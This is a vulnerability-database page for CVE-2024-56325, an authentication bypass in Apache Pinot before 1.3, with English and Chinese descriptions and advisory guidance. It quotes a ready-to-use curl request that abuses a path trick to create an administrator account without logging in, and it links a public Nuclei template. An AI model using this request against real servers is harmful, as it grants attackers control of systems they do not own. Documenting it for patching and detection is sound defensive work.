CVE-2024-56325— Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
Quick assessment
Affected
Apache Software Foundation Apache Pinot
Exploitation
Public or AI PoC available; prioritize validation
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.
Apache Pinot是美国阿帕奇（Apache）基金会的一个实时分布式 OLAP 数据存储。旨在提供超低延迟分析。 Apache Pinot 1.3之前版本存在安全漏洞，该漏洞源于认证绕过问题，允许未授权用户添加新用户并控制系统。
Public Exploits 1
Nuclei · 1
CVE-2024-56325.yaml [template]
Possible ATT&CK Techniques 3 AI
T1190 · Exploit Public-Facing Application T1133 · External Remote Services T1136 · Create Account
Get alerts for future matching vulnerabilities
Log in to subscribe
I. Basic Information for CVE-2024-56325
Vulnerability Information
Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗
Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.
Vulnerability Title
Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
Source: CVE Program / CVE List V5
Vulnerability Description
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Source: CVE Program / CVE List V5
CVSS Information
N/A
Source: CVE Program / CVE List V5
Vulnerability Type
使用候选路径或通道进行的认证绕过
Source: CVE Program / CVE List V5
Vulnerability Title
Apache Pinot 安全漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
Apache Pinot是美国阿帕奇（Apache）基金会的一个实时分布式 OLAP 数据存储。旨在提供超低延迟分析。 Apache Pinot 1.3之前版本存在安全漏洞，该漏洞源于认证绕过问题，允许未授权用户添加新用户并控制系统。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)
Affected Products
| Vendor | Product | Affected Versions | CPE | Subscribe |
|---|---|---|---|---|
| Apache Software Foundation | Apache Pinot | 0 ~ 1.3 | - |
|
II. Public POCs for CVE-2024-56325
| # | POC Description | Source Link | Shenlong Link |
|---|---|---|---|
| 1 | This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system. | https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-56325.yaml | POC Details |
AI-Generated POC
Premium
No public POC found.
Login to generate AI POCIII. Intelligence Information for CVE-2024-56325
请登录查看更多情报信息。
Mailing List Discussions for CVE-2024-56325 (1)
Same Patch Batch · Apache Software Foundation · 2025-04-01 · 6 CVEs total
| CVE-2025-30676 | Apache OFBiz: Stored XSS Vulnerability | |
| CVE-2025-30177 | Apache Camel: Camel-Undertow Message Header Injection via Improper Filtering | |
| CVE-2025-29868 | Apache Answer: Using externally referenced images can leak user privacy. | |
| CVE-2025-30065 | Apache Parquet Java: Arbitrary code execution in the parquet-avro module when reading an A | |
| CVE-2025-27427 | Apache ActiveMQ Artemis: Address routing-type can be updated by user without the createAdd |
IV. Related Vulnerabilities
Same vendor: Apache Software Foundation
-
CVE-2026-63686
Apache HTTP Server: mod_xml2enc crash on charset conversion -
CVE-2026-93546
Apache HTTP Server: mod_dav_fs namespace overflow -
CVE-2026-79768
Apache HTTP Server: mod_userdir information disclosure -
CVE-2026-73637
Apache HTTP Server: mod_auth_digest DoS attack -
CVE-2026-73636
Apache HTTP Server: mod_auth_digest one-time-nonce replay at
Same weakness: CWE-288
-
CVE-2026-100261
JetBrains YouTrack 2026.2.18991前权限绕过漏洞 -
CVE-2026-63493
Snipe-IT: 2FA bypass via the API token flow -
CVE-2026-90481
Burp Suite DAST <2026.8 身份验证绕过 -
CVE-2026-79680
Authentication bypass vulnerability in the password authenti -
CVE-2026-93928
WordPress Taxi Booking Manager for WooCommerce plugin < 2.0.
V. Comments for CVE-2024-56325
No comments yet